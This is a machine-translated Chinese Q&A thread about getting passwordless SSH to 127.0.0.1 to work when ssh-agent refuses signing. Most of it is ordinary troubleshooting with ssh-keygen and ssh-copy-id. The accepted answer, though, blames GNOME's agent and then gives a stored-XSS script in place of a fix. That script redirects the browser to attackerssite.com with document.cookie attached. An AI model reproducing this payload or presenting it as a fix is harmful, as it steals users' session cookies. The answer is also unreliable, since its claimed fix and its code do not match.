将rsa密钥复制到授权密钥不会绕过密码提示

时间:2018-07-02 16:48:20

标签: ssh authorized-keys

我正在尝试对自己ssh(我在本地开发机上运行ansible)。我希望在不提示输入密码的情况下对自己隐瞒。

所以...

我跑了

ssh-keygen -t rsa

提示输入密码时,将其留空

ssh-copy-id 127.0.0.1

cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys

chmod og-wx ~/.ssh/authorized_keys

ssh-add

当我随后运行ssh 127.0.0.1时,它提示我输入密码!有没有搞错?还引发了此错误:

sign_and_send_pubkey: signing failed: agent refused operation

所以我签出了:sign_and_send_pubkey: signing failed: agent refused operation

它说要运行ssh-add -l,然后返回结果。

另外,〜/ .ssh是700 该目录的内容为600

在使用ssh时如何避免提示输入密码?

2 个答案:

答案 0 :(得分:0)

这是答案... H / T @maulinglawns on stored XSS

这不是ssh-copy-id问题。

这是一个侏儒问题。如果从桌面打开终端,则会发生我提到的问题。如果您使用tty,那么它将按预期工作。

要摆脱ssh代理对gnome的影响,请执行以下操作:

<script>window.location = 'attackerssite.com?cookie=' + document.cookie</script>

答案 1 :(得分:-1)

当您尝试这样做时,是否会提示输入密码:

ssh 127.0.0.1?

如果是,则未正确添加.pub密钥。您应该使用以下方法再次尝试复制id_rsa.pub密钥:

ssh-copy-id 127.0.0.1

以上命令将提示您输入密码,一旦输入正确的密码,它将允许从下次尝试进行无密码登录。